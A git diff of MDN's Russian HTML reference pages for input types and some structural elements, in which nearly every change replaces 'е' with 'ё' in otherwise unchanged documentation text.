        <input id="date" type="date" value="2017-06-01">
        @@ -123,7 +123,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti

        Использование полей ввода c типом date

        -

        На первый взгляд, элемент <input type="date"> выглядит заманчиво — он предоставляет легкий графический интерфейс для выбора даты, нормализует формат даты, отправляемой на сервер независимо от локальных настроек пользователя. Тем не менее, есть проблемы с <input type="date"> в связи с ограниченной поддержкой браузеров.

        +

        На первый взгляд, элемент <input type="date"> выглядит заманчиво — он предоставляет лёгкий графический интерфейс для выбора даты, нормализует формат даты, отправляемой на сервер независимо от локальных настроек пользователя. Тем не менее, есть проблемы с <input type="date"> в связи с ограниченной поддержкой браузеров.

        В этом разделе мы посмотрим на простые, а затем и более сложные способы использования <input type="date">, и позже дадим советы по уменьшению влияния поддержки браузерами (смотрите {{anch("Handling browser support")}}).

        diff --git a/files/ru/web/html/element/input/datetime-local/index.html b/files/ru/web/html/element/input/datetime-local/index.html index 63ad6800fc..7a5f83d340 100644 --- a/files/ru/web/html/element/input/datetime-local/index.html +++ b/files/ru/web/html/element/input/datetime-local/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/datetime-local ---

        {{HTMLRef}}

        -

        {{htmlelement("input")}} элемент типа datetime-local создает поля ввода, позволяющие легко ввести дату и время —  год, месяц, день, часы и минуты.

        +

        {{htmlelement("input")}} элемент типа datetime-local создаёт поля ввода, позволяющие легко ввести дату и время —  год, месяц, день, часы и минуты.

        Интерфейс управления варьируется от браузера к браузеру, на данный момент поддержка носит фрагментарный характер, только с Chrome/Opera  и EDGE на рабочем столе — и большинство современных мобильных версиях браузера — наличие полезной реализации. В других браузерах элемент управления сводиться до простого <input type="text">.

        @@ -19,7 +19,7 @@ translation_of: Web/HTML/Element/input/datetime-local

        -

        В Edge datetime-local элемент управления выглядит как на скриншоте ниже. Клик на дате и времени отобразит два отдельных поля выбора, чтобы Вы могли легко установить дату и время. То есть, по сути, получаем два элемента date и time, объединенных в один:

        +

        В Edge datetime-local элемент управления выглядит как на скриншоте ниже. Клик на дате и времени отобразит два отдельных поля выбора, чтобы Вы могли легко установить дату и время. То есть, по сути, получаем два элемента date и time, объединённых в один:

        @@ -52,14 +52,14 @@ translation_of: Web/HTML/Element/input/datetime-local

        Значение

        -

         {{domxref("DOMString")}} представление значения даты, введенной во входные данные. Вы можете установить значение по умолчанию для ввода, включая дату внутри {{htmlattrxref("value", "input")}} атрибута, как:

        +

         {{domxref("DOMString")}} представление значения даты, введённой во входные данные. Вы можете установить значение по умолчанию для ввода, включая дату внутри {{htmlattrxref("value", "input")}} атрибута, как:

        <label for="party">Enter a date and time for your party booking:</label>
         <input id="party" type="datetime-local" name="partydate" value="2017-06-01T08:30">

        {{ EmbedLiveSample('Value', 600, 60) }}

        -

        Одна вещь, чтобы отметить, что отображаемый формат даты отличается от фактического значения — отображаемый формат даты будет выбран на основе установленного языкового стандарта операционной системы пользователя, в то время как датазначение всегда форматируется yyyy-MM-ddThh:mm. Когда значение передается на сервер, например, это будет выглядеть partydate=2017-06-01T08:30.

        +

        Одна вещь, чтобы отметить, что отображаемый формат даты отличается от фактического значения — отображаемый формат даты будет выбран на основе установленного языкового стандарта операционной системы пользователя, в то время как датазначение всегда форматируется yyyy-MM-ddThh:mm. Когда значение передаётся на сервер, например, это будет выглядеть partydate=2017-06-01T08:30.

        Примечание: также имейте в виду, что если такие данные поступают через http-запрос Get, двоеточие нужно экранировать для включения в параметры URL, например partydate=2017-06-01T08%3A30.

        diff --git a/files/ru/web/html/element/input/image/index.html b/files/ru/web/html/element/input/image/index.html index 08b69b943a..d0045be0cd 100644 --- a/files/ru/web/html/element/input/image/index.html +++ b/files/ru/web/html/element/input/image/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/input/image
        Потоковый контент, фразовый контент, явный контент.
        Разрешенный контентРазрешённый контент Фразовый контент.
        Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
        Разрешенные родителиРазрешённые родители Любой элемент, который принимает фразовый контент.
        Разрешенные роли ARIAРазрешённые роли ARIA Любые
        Flow content, phrasing content, embedded content, interactive content, palpable content.
        Разрешенное содержимоеРазрешённое содержимое Отсутствует, это {{Glossary("empty element")}}.
        Любой элемент, который допускает встроенный контент
        Разрешенные роли ARIAРазрешённые роли ARIA {{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}, {{ARIARole("presentation")}}
        Основной поток, явный контент.
        Разрешенное содержимоеРазрешённое содержимое Контент основного потока, кроме <footer> и {{HTMLElement("header")}}.
        Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
        Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает Контент основного потока в качестве содержимого. Обратите внимание, что элемент <footer> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("header")}} или другого элемента <footer>.
        Разрешенные ARIA ролиРазрешённые ARIA роли {{ARIARole("group")}}, {{ARIARole("presentation")}}
        Отсутствуют.
        Разрешенное содержимоеРазрешённое содержимое

        Если документ является документом {{HTMLElement("iframe")}} с атрибутом {{htmlattrxref("srcdoc", "iframe")}}, или если информация о заголовке доступна из протокола более высокого уровня (например, строки темы в электронном письме HTML), то ноль или более элементов содержащих метаданные.

        @@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/head
        Элемент {{HTMLElement("html")}} (<head> является его первым дочерним элементом).
        Разрешенные роли ARIAРазрешённые роли ARIA Отсутствуют.
        {{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '<head>')}} {{Spec2('HTML WHATWG')}}Нет изменений с последнего "snapshot" (состояние сохраненное в определенный момент времени)Нет изменений с последнего "snapshot" (состояние сохранённое в определённый момент времени)
        {{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '<head>')}}Основной поток, явный контент.
        Разрешенное содержимоеРазрешённое содержимое Основной поток, кроме <header> и {{HTMLElement("footer")}}
        Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.
        Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает контент основного потока в качестве содержимого. Обратите внимание, что элемент <header> не должен быть потомком элемента {{HTMLElement("address")}}, {{HTMLElement("footer")}} или другого элемента <header>.
        Разрешенные роли ARIAРазрешённые роли ARIA {{ARIARole("group")}}, {{ARIARole("presentation")}}
        Поток контента, заголовок контента, явный контент.
        Разрешенный контентРазрешённый контент Фразированное содержание.
        {{no_tag_omission}}
        Разрешенные родителиРазрешённые родители Любые элементы которые принимают Содержание потока; не используй как дочерний {{HTMLElement("hgroup")}} элемент, сейчас он устарел
        Разрешенные роли ДМИПРазрешённые роли ДМИП {{ARIARole("tab")}}, {{ARIARole("presentation")}}
        Отсутствуют.
        Разрешенное содержимоеРазрешённое содержимое Один элемент {{HTMLElement("head")}}, за которым следует один элемент {{HTMLElement("body")}}.
        Разрешенные родительские элементыРазрешённые родительские элементы Отсутствуют. Это корневой элемент документа.
        Разрешенные роли ARIAРазрешённые роли ARIA Отсутствуют.
        Потоковый контент, фразовый контент, встроенный контент, явный контент. Если элемент имеет атрибут usemap, он так же принадлежит к категории интерактивного контента.
        Разрешенное содержимоеРазрешённое содержимое Никакое, так как это {{Glossary("empty element", "пустой элемент")}}.
        Должен иметь открывающий тег и не должен иметь закрывающий.
        Разрешенные родительские элементыРазрешённые родительские элементы Любой элемент, который разрешает встроенный контент в качестве содержимого.
        - + @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/image - + diff --git a/files/ru/web/html/element/input/index.html b/files/ru/web/html/element/input/index.html index c949910b8d..d868c942c6 100644 --- a/files/ru/web/html/element/input/index.html +++ b/files/ru/web/html/element/input/index.html @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/input
        {{htmlattrdef("type")}}
        Тип элемента для отображения. Если этот атрибут не указан, по умолчанию используется text. Возможными значениями являются:
          -
        • button: Кнопка без предопределенного поведения.
        • +
        • button: Кнопка без предопределённого поведения.
        • checkbox: Флажок («чекбокс»). Следует использовать атрибут value для определения значения, которое будет отдано этим элементом. Используйте атрибут checked, чтобы указать, должен ли флажок быть выставлен. Можно также использовать атрибут indeterminate, чтобы указать, что флажок находится в неопределённом состоянии (на большинстве платформ при этом рисуется горизонтальная линия поперёк флажка).
        • color: {{HTMLVersionInline("5")}} Элемент управления цветом. Пользовательский интерфейс выбора цвета не имеет никаких других функций, кроме принятия простых цветов в виде текста (больше информации).
        • date: {{HTMLVersionInline("5")}} Элемент управления для ввода даты (год, месяц и день, без времени).
        • @@ -40,11 +40,11 @@ translation_of: Web/HTML/Element/input
        • datetime-local: {{HTMLVersionInline("5")}} Элемент управления для ввода даты и времени без часового пояса.
        • email: {{HTMLVersionInline("5")}} Поле для редактирования адреса электронной почты. Перед отправкой проверяется, что входное значение содержит либо пустую строку, либо один действительный адрес электронной почты. Соответствуют CSS псевдоклассам {{cssxref(":valid")}} and {{cssxref(":invalid")}}.
        • file: Элемент управления, который позволяет пользователю выбрать файл. Используйте атрибут accept, чтобы определить типы файлов, которые могут быть выбраны.
        • -
        • hidden: Элемент управления, которые не отображается, но чье значение отправлено на сервер.
        • +
        • hidden: Элемент управления, которые не отображается, но чьё значение отправлено на сервер.
        • image: Кнопка вставки изображения. Вы должны использовать атрибут src, чтобы определить путь к изображению и атрибут alt - для определения альтернативного текста. Вы можете использовать атрибуты height и width, чтобы определить размер вставки изображения в пикселях.
        • month: {{HTMLVersionInline("5")}} Элемент управления для ввода месяца и года без часового пояса.
        • number: {{HTMLVersionInline("5")}} Элемент управления ввода числа(тип float).
        • -
        • password: Однострочное текстовое поле, чье значение скрыто символом "звездочка". Используйте атрибуты minlength и maxlength, чтобы указать минимальную и максимальную длину значения, которое может быть введено. +
        • password: Однострочное текстовое поле, чьё значение скрыто символом "звёздочка". Используйте атрибуты minlength и maxlength, чтобы указать минимальную и максимальную длину значения, которое может быть введено.
          Любые формы, в которых присутствует важная информация(например, пароль), должны быть обработаны через HTTPS; в настоящий момент Firefox реализует составной механизм предупреждения, направленные против небезопасных форм для входа в систему - смотрите Небезопасные пароли.
        • radio: Кнопка-переключатель, позволяет выбрать одно значение из множественного выбора.
        • @@ -63,12 +63,12 @@ translation_of: Web/HTML/Element/input Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости..
        • text: Однострочное текстовое поле. Переносы строк автоматически удаляются из входного значения.
        • time: {{HTMLVersionInline("5")}} Элемент управления для ввода значения времени без часового пояса.
        • -
        • url: {{HTMLVersionInline("5")}} Поле для редактирования URI. Введенное значение должно содержать либо пустую строку, либо допустимый абсолютный URL. В противном случае значение не будет принято. Переводы строк, лидирующие и завершающие пробельные символы будут автоматически удалены из введенного значения. Можно использовать такие атрибуты как pattern или maxlength, чтобы ограничить вводимые значения. Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости.
        • +
        • url: {{HTMLVersionInline("5")}} Поле для редактирования URI. Введённое значение должно содержать либо пустую строку, либо допустимый абсолютный URL. В противном случае значение не будет принято. Переводы строк, лидирующие и завершающие пробельные символы будут автоматически удалены из введённого значения. Можно использовать такие атрибуты как pattern или maxlength, чтобы ограничить вводимые значения. Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости.
        • week: {{HTMLVersionInline("5")}} Элемент управления для ввода даты, содержащей число неделя-год и номер недели без часового пояса.
        {{htmlattrdef("accept")}}
        -
        В случае, если значением атрибута type является file, данный атрибут определяет типы файлов, которые сервер может принять. В противном случае файл игнорируется. Значение должно быть списком уникальных спецификаторов типов содержания, разделенным запятыми:
        +
        В случае, если значением атрибута type является file, данный атрибут определяет типы файлов, которые сервер может принять. В противном случае файл игнорируется. Значение должно быть списком уникальных спецификаторов типов содержания, разделённым запятыми:
        {{htmlattrdef("accesskey")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}
        Одиночный символ, который пользователь может нажать, чтобы переключить фокус на элемент управления.
        {{htmlattrdef("mozactionhint")}} {{non-standard_inline}}
        @@ -143,7 +143,7 @@ translation_of: Web/HTML/Element/input
        {{htmlattrdef("list")}} {{HTMLVersionInline("5")}}
        -
        В атрибуте указывает id элемента {{HTMLElement("datalist")}}, в котором находится список предопределенных значений для заполнения. Браузер отображает только те варианты, которые соответствуют введенным символами. Этот атрибут игнорируется, когда атрибут type принимает значения hidden, checkbox, radio, file, или type в качестве кнопки.
        +
        В атрибуте указывает id элемента {{HTMLElement("datalist")}}, в котором находится список предопределённых значений для заполнения. Браузер отображает только те варианты, которые соответствуют введённым символами. Этот атрибут игнорируется, когда атрибут type принимает значения hidden, checkbox, radio, file, или type в качестве кнопки.
        {{htmlattrdef("max")}} {{HTMLVersionInline("5")}}
        The maximum (numeric or date-time) value for this item, which must not be less than its minimum (min attribute) value.
        {{htmlattrdef("maxlength")}}
        diff --git a/files/ru/web/html/element/input/number/index.html b/files/ru/web/html/element/input/number/index.html index 0ee9046649..b9f77cd132 100644 --- a/files/ru/web/html/element/input/number/index.html +++ b/files/ru/web/html/element/input/number/index.html @@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/input/number

        Value

        -

        {{jsxref("Number")}}, представляющий значение введенного числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:

        +

        {{jsxref("Number")}}, представляющий значение введённого числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:

        <input id="number" type="number" value="42">
        diff --git a/files/ru/web/html/element/input/password/index.html b/files/ru/web/html/element/input/password/index.html index e745967864..b76c628f81 100644 --- a/files/ru/web/html/element/input/password/index.html +++ b/files/ru/web/html/element/input/password/index.html @@ -11,9 +11,9 @@ translation_of: Web/HTML/Element/input/password ---
        {{HTMLRef}}
        -

        {{HTMLElement("input")}} элементы типа "password" предоставляют пользователю возможность безопасного ввода пароль. Элемент представлен как однострочный текстовый редактор, в котором текст затенен, чтобы его нельзя было прочитать, как правило, путем замены каждого символа другим символом, таким как звездочка ("*") или точка ("•"). Этот символ будет меняться в зависимости от {{Glossary("user agent")}} и {{Glossary("OS")}}.

        +

        {{HTMLElement("input")}} элементы типа "password" предоставляют пользователю возможность безопасного ввода пароль. Элемент представлен как однострочный текстовый редактор, в котором текст затенён, чтобы его нельзя было прочитать, как правило, путём замены каждого символа другим символом, таким как звёздочка ("*") или точка ("•"). Этот символ будет меняться в зависимости от {{Glossary("user agent")}} и {{Glossary("OS")}}.

        -

        Особенности работы процесса ввода могут отличаться от браузера к браузеру; мобильные устройства, например, часто отображают вводимый символ на мгновение, прежде чем закрывать его, чтобы позволить пользователю быть уверенным, что они нажали клавишу, которую они хотели нажать; это полезно, учитывая небольшой размер клавиш и легкость, с которой может быть нажата неправильная, особенно на виртуальных клавиатурах.

        +

        Особенности работы процесса ввода могут отличаться от браузера к браузеру; мобильные устройства, например, часто отображают вводимый символ на мгновение, прежде чем закрывать его, чтобы позволить пользователю быть уверенным, что они нажали клавишу, которую они хотели нажать; это полезно, учитывая небольшой размер клавиш и лёгкость, с которой может быть нажата неправильная, особенно на виртуальных клавиатурах.

        Любые формы, содержащие конфиденциальную информацию, такую ​​как пароли (например, формы входа), должны обслуживаться через HTTPS; В Firefox теперь реализованы несколько механизмов для предупреждения от небезопасных форм входа в систему - см. Небезопасные пароли. Другие браузеры также реализуют аналогичные механизмы.

        @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/password

        Значения

        -

        Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}} , значение которого является текущим содержимым элемента редактирования текста, используемого для ввода пароля. Если пользователь еще ничего не указал, это значение представляет собой пустую строку (""). Если указано свойство {{htmlattrxref("required")}}, то поле ввода пароля должно содержать значение, отличное от пустой строки, которое должно быть действительным.

        +

        Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}} , значение которого является текущим содержимым элемента редактирования текста, используемого для ввода пароля. Если пользователь ещё ничего не указал, это значение представляет собой пустую строку (""). Если указано свойство {{htmlattrxref("required")}}, то поле ввода пароля должно содержать значение, отличное от пустой строки, которое должно быть действительным.

        Если указан атрибут {{htmlattrxref("pattern", "input")}}, содержимое элемента управления "password" считается действительным только в том случае, если значение проходит проверку; см. {{anch("Validation")}} для получения дополнительной информации.

        @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/input/password

        Использование полей ввода пароля

        -

        Поля ввода пароля обычно работают так же, как и другие текстовые поля ввода; основное отличие состоит в том, чтобы скрывать введенный контент, чтобы люди, не знакомые с пользователем, не могли прочитать его пароль.

        +

        Поля ввода пароля обычно работают так же, как и другие текстовые поля ввода; основное отличие состоит в том, чтобы скрывать введённый контент, чтобы люди, не знакомые с пользователем, не могли прочитать его пароль.

        Простое поле ввода пароля

        @@ -83,7 +83,7 @@ translation_of: Web/HTML/Element/input/password
        "off"
        Запрещает браузеру или менеджеру паролей автоматически заполнять поле пароля.
        "current-password"
        -
        Разрешить браузеру или менеджеру паролей вводить текущий пароль для сайта. Это дает больше информации, чем "on", так как позволяет браузеру или менеджеру паролей знать, что в настоящее время известен пароль для сайта в поле, а не используется новый.
        +
        Разрешить браузеру или менеджеру паролей вводить текущий пароль для сайта. Это даёт больше информации, чем "on", так как позволяет браузеру или менеджеру паролей знать, что в настоящее время известен пароль для сайта в поле, а не используется новый.
        "new-password"
        Разрешить браузеру или менеджеру паролей автоматически вводить новый пароль для сайта. Он может быть автоматически сгенерирован на основе других атрибутов элемента управления или может просто указать браузеру представить виджет «предлагаемого нового пароля».
        @@ -106,7 +106,7 @@ translation_of: Web/HTML/Element/input/password

        Указание режима ввода

        -

        Если ваше приложение лучше обслуживается с использованием другого режима ввода, чем по умолчанию, вы можете использовать атрибут {{htmlattrxref("inputmode", "input")}} для определенного запроса. Наиболее очевидным вариантом использования является то, что ваше приложение использует в качестве пароля числовое значение (например, ПИН). Например, мобильные устройства с виртуальными клавиатурами могут переключаться на макет цифровой клавиатуры вместо полной клавиатуры, чтобы облегчить ввод пароля.

        +

        Если ваше приложение лучше обслуживается с использованием другого режима ввода, чем по умолчанию, вы можете использовать атрибут {{htmlattrxref("inputmode", "input")}} для определённого запроса. Наиболее очевидным вариантом использования является то, что ваше приложение использует в качестве пароля числовое значение (например, ПИН). Например, мобильные устройства с виртуальными клавиатурами могут переключаться на макет цифровой клавиатуры вместо полной клавиатуры, чтобы облегчить ввод пароля.

        <label for="pin">ПИН:</label>
         <input id="pin" type="password" inputmode="numeric">
        @@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/input/password

        Настройка длины пароля

        -

        Как обычно, вы можете использовать атрибуты {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы установить минимальную и максимальную допустимую длину пароля , Этот пример дополняет предыдущий, указав, что PIN-код пользователя должен быть не менее четырех и не более восьми цифр. Атрибут {{htmlattrxref("size", "input")}} используется для обеспечения того, чтобы элемент управления ввода пароля имел ширину в восемь символов.

        +

        Как обычно, вы можете использовать атрибуты {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы установить минимальную и максимальную допустимую длину пароля , Этот пример дополняет предыдущий, указав, что PIN-код пользователя должен быть не менее четырёх и не более восьми цифр. Атрибут {{htmlattrxref("size", "input")}} используется для обеспечения того, чтобы элемент управления ввода пароля имел ширину в восемь символов.

        <label for="pin">ПИН:</label>
         <input id="pin" type="password" inputmode="numeric" minlength="4"
        @@ -144,13 +144,13 @@ translation_of: Web/HTML/Element/input/password
         
         

        {{EmbedLiveSample("Selecting_text", 600, 40)}}

        -

        Вы также можете использовать {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} и {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, чтобы получить (или установить), какой диапазон символов в элементе управления, и {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, чтобы узнать, какой выбор направления произошел (или будет расширен в зависимости от вашей платформы, см. его документацию для объяснения) , Однако, учитывая, что текст затенен, их полезность несколько ограничена.

        +

        Вы также можете использовать {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} и {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, чтобы получить (или установить), какой диапазон символов в элементе управления, и {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, чтобы узнать, какой выбор направления произошёл (или будет расширен в зависимости от вашей платформы, см. его документацию для объяснения) , Однако, учитывая, что текст затенён, их полезность несколько ограничена.

        Валидация

        -

        Если ваше приложение имеет ограничения по набору символов или любые другие требования для фактического содержимого введенного пароля, вы можете использовать атрибут {{htmlattrxref("pattern", "input")}}, чтобы установить регулярное выражение, чтобы автоматически гарантировать, что ваши пароли соответствуют этим требованиям.

        +

        Если ваше приложение имеет ограничения по набору символов или любые другие требования для фактического содержимого введённого пароля, вы можете использовать атрибут {{htmlattrxref("pattern", "input")}}, чтобы установить регулярное выражение, чтобы автоматически гарантировать, что ваши пароли соответствуют этим требованиям.

        -

        В этом примере допустимы только значения, состоящие как минимум из четырех и не более восьми шестнадцатеричных цифр.

        +

        В этом примере допустимы только значения, состоящие как минимум из четырёх и не более восьми шестнадцатеричных цифр.

        <label for="hexId">Hex ID:</label>
        @@ -163,7 +163,7 @@ translation_of: Web/HTML/Element/input/password
         
        {{htmlattrdef("disabled")}}
        -

        Этот Boolean атрибут указывает, что поле пароля недоступно для взаимодействия. Кроме того, отключенные значения полей не отправляются с формой.

        +

        Этот Boolean атрибут указывает, что поле пароля недоступно для взаимодействия. Кроме того, отключённые значения полей не отправляются с формой.

        @@ -171,7 +171,7 @@ translation_of: Web/HTML/Element/input/password

        Запрос номера социального страхования

        -

        В этом примере принимается только ввод, который соответствует формату действительного номера социального страхования Соединенных Штатов. Эти цифры, используемые для целей налогообложения и идентификации в США, представлены в форме «123-45-6789». Также существуют различные правила, для которых допустимы значения в каждой группе.

        +

        В этом примере принимается только ввод, который соответствует формату действительного номера социального страхования Соединённых Штатов. Эти цифры, используемые для целей налогообложения и идентификации в США, представлены в форме «123-45-6789». Также существуют различные правила, для которых допустимы значения в каждой группе.

        HTML

        @@ -183,7 +183,7 @@ translation_of: Web/HTML/Element/input/password <label for="ssn">Value:</label> <span id="current"></span>
        -

        Здесь используется {{htmlattrxref("pattern", "input")}} , который ограничивает введенное значение строками, представляющими номера юридической информации Социальной защиты. Очевидно, что это регулярное выражение не гарантирует действительный SSN, но гарантирует, что число может быть единым; он обычно избегает недопустимых значений. Кроме того, он позволяет разделять три группы цифр пробелом, тире ("-") или ничем.

        +

        Здесь используется {{htmlattrxref("pattern", "input")}} , который ограничивает введённое значение строками, представляющими номера юридической информации Социальной защиты. Очевидно, что это регулярное выражение не гарантирует действительный SSN, но гарантирует, что число может быть единым; он обычно избегает недопустимых значений. Кроме того, он позволяет разделять три группы цифр пробелом, тире ("-") или ничем.

        В {{htmlattrxref("inputmode", "input")}} установлено значение "number", чтобы побудить устройства с виртуальными клавиатурами переключаться на макет цифровой клавиатуры для облегчения ввода. Для атрибутов {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}} установлено значение 9 и 12 соответственно, чтобы требовалось, чтобы значение было не менее девяти и не более 12 символов (первый не разделяет символы между группами цифр и последними с ними). Атрибут {{htmlattrxref("required", "input")}} используется для указания того, что этот элемент управления должен иметь значение. Наконец, {{htmlattrxref("autocomplete", "input")}} установлен "off", чтобы избежать попыток установить пароли менеджеров паролей.

        diff --git a/files/ru/web/html/element/input/radio/index.html b/files/ru/web/html/element/input/radio/index.html index 76bd790484..00cf8262fe 100644 --- a/files/ru/web/html/element/input/radio/index.html +++ b/files/ru/web/html/element/input/radio/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/input/radio

        {{ EmbedLiveSample('Basic_example', 600, 30) }}

        -

        Исходный код к данному интерактивному примеру находиться на GitHub репозитории. Если вы желаете внести свой вклад в проект интерактивных примеров, то склонируйте удаленный репозиторий https://github.com/mdn/interactive-examples и отправьте нам запрос на включение сделанных вами изменений «pull request».

        +

        Исходный код к данному интерактивному примеру находиться на GitHub репозитории. Если вы желаете внести свой вклад в проект интерактивных примеров, то склонируйте удалённый репозиторий https://github.com/mdn/interactive-examples и отправьте нам запрос на включение сделанных вами изменений «pull request».

        Радиокнопки называются так потому, что выглядят и функционируют в схожей манере с кнопками старомодных радиоприёмников, подобных представленному ниже. 

        @@ -155,7 +155,7 @@ form.addEventListener("submit", function(event) {

        Использование радиокнопок

        -

        Мы уже осветили основные моменты работы с радиокнопками выше. Давайте рассмотрим другие распространенные  функции и методы, связанные с использованием радиокнопок, о которых Вам нужно знать.

        +

        Мы уже осветили основные моменты работы с радиокнопками выше. Давайте рассмотрим другие распространённые  функции и методы, связанные с использованием радиокнопок, о которых Вам нужно знать.

        Выбор радиокнопки по умолчанию

        diff --git a/files/ru/web/html/element/input/range/index.html b/files/ru/web/html/element/input/range/index.html index fc14501602..e4f349c376 100644 --- a/files/ru/web/html/element/input/range/index.html +++ b/files/ru/web/html/element/input/range/index.html @@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/input/range

        Для этого поля нет доступного паттерна валидации, но следующая валидация реализованы следующие проверки

          -
        • Если значение {{htmlattrxref("value", "input")}} содержит что-то что не может быть конвертированно в число с плавающей точкой, произойдет ошибка некорректного ввода.
        • +
        • Если значение {{htmlattrxref("value", "input")}} содержит что-то что не может быть конвертированно в число с плавающей точкой, произойдёт ошибка некорректного ввода.
        • Значение не может быть меньше чем {{htmlattrxref("min", "input")}}. По умолчанию: 0.
        •  Значение не может быть больше чем {{htmlattrxref("max", "input")}}. По умолчанию: 100.
        • Значение должно кратно {{htmlattrxref("step", "input")}}. По умолчанию: 1.
        • @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/input/range
          defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min
                          : rangeElem.min + (rangeElem.max - rangeElem.min)/2;
          -

          Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведет к установлению значения равного атрибуту max.

          +

          Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведёт к установлению значения равного атрибуту max.

          Дополнительные атрибуты

          @@ -75,7 +75,7 @@ translation_of: Web/HTML/Element/input/range
        - + @@ -94,7 +94,7 @@ translation_of: Web/HTML/Element/input/range

        {{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}

        -

        Смотрите управление диапазоном с помощью решетки ниже, для примера того, как параметры диапазона обозначаются в поддерживаемых браузерах.

        +

        Смотрите управление диапазоном с помощью решётки ниже, для примера того, как параметры диапазона обозначаются в поддерживаемых браузерах.

        {{htmlattrdef("max")}}

        @@ -102,7 +102,7 @@ translation_of: Web/HTML/Element/input/range

        {{htmlattrdef("min")}}

        -

        Наименьшее значение в диапазоне допустимых значений. Если {{htmlattrxref("value", "input")}}, введенный в элемент, меньше этого значения, то элемент не проходит  проверку ограничения. Если значение атрибута min не является числом, то элемент не имеет максимального значения.

        +

        Наименьшее значение в диапазоне допустимых значений. Если {{htmlattrxref("value", "input")}}, введённый в элемент, меньше этого значения, то элемент не проходит  проверку ограничения. Если значение атрибута min не является числом, то элемент не имеет максимального значения.

        Это значение должно быть меньше или равно значению атрибута max.

        @@ -131,7 +131,7 @@ translation_of: Web/HTML/Element/input/range
        {{htmlattrdef("orient")}} {{non-standard_inline}}
        -
        Похоже на  -moz-orient не стандартное CSS свойство влияющее на {{htmlelement('progress')}} и{{htmlelement('meter')}} элементы, orient атрибут определяем ориентацию слайдера. Значение horizontal, значит что слайдер будет отображен горизонтально, а vertical- что вертикально .
        +
        Похоже на  -moz-orient не стандартное CSS свойство влияющее на {{htmlelement('progress')}} и{{htmlelement('meter')}} элементы, orient атрибут определяем ориентацию слайдера. Значение horizontal, значит что слайдер будет отображён горизонтально, а vertical- что вертикально .
        @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/input/range

        Examples

        -

        Пока тип number позволяет пользователям вводить число с дополнительными ограничениями, заставляя их значения находиться между максимальным и минимальным, он требует, чтобы они вводили определенное значение. Инпут с типом range позволяет вам запрашивать у пользователя значение в тех случаях, когда пользователь не может даже знать - каково выбранное конкретное числовое значение.

        +

        Пока тип number позволяет пользователям вводить число с дополнительными ограничениями, заставляя их значения находиться между максимальным и минимальным, он требует, чтобы они вводили определённое значение. Инпут с типом range позволяет вам запрашивать у пользователя значение в тех случаях, когда пользователь не может даже знать - каково выбранное конкретное числовое значение.

        Несколько примеров основный ситуаций, в которых инпуты с range используются:

        @@ -155,7 +155,7 @@ translation_of: Web/HTML/Element/input/range

        Указание минимума и максимума

        -

        По умолчанию, минимум равен 0, а максимум равен 100. Если вас это не устраивает, вы можете с легкостью указать другие границы, изменив значения атрибутов {{htmlattrxref("min", "input")}} и/или {{htmlattrxref("max", "input")}}. Они могут быть принимать любые значения с плавающей точкой.

        +

        По умолчанию, минимум равен 0, а максимум равен 100. Если вас это не устраивает, вы можете с лёгкостью указать другие границы, изменив значения атрибутов {{htmlattrxref("min", "input")}} и/или {{htmlattrxref("max", "input")}}. Они могут быть принимать любые значения с плавающей точкой.

        Например, указать диапазон значений между -10 и 10, вы можете, используя:

        @@ -185,11 +185,11 @@ translation_of: Web/HTML/Element/input/range

        Добавление хэш-меток и лейблов

        -

        Спецификация HTML дает браузерам некоторую гибкость при представлении диапазонных контроллеров. Нигде эта гибкость не проявляется больше, чем в области хэш-меток и, в меньшей степени, лейблов. Спецификация описывает как добавлять кастомные точки контроллера диапазона, используя атрибут {{htmlattrxref("list", "input")}} и элемент {{HTMLElement("datalist")}}, но не имеет требований или рекомендаций по стандартизации хэш-меток и лейблов по длине контроллера.

        +

